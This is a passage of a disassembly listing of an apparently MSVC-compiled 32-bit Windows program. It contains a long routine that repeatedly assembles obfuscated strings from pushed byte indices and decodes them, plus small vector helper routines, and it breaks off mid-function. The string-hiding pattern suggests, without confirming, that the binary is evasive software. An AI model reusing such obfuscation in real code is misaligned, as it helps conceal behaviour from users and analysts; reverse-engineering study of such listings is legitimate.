		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		mov	byte ptr [esp+394h], 31h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 36h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		mov	byte ptr [esp+388h], 3Ah
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Eh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+370h], 43h
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+370h], 4Ch
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F30
		push	offset word_4E8E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E5A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493A4
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449280
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492C9
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44935B
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409548
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_409530+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409570	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095E0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095EA:				; CODE XREF: sub_4095E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409610	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409660	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4097AB
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409713
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409715
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096E0+26j
		mov	ebp, edi


loc_409715:				; CODE XREF: sub_4096E0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
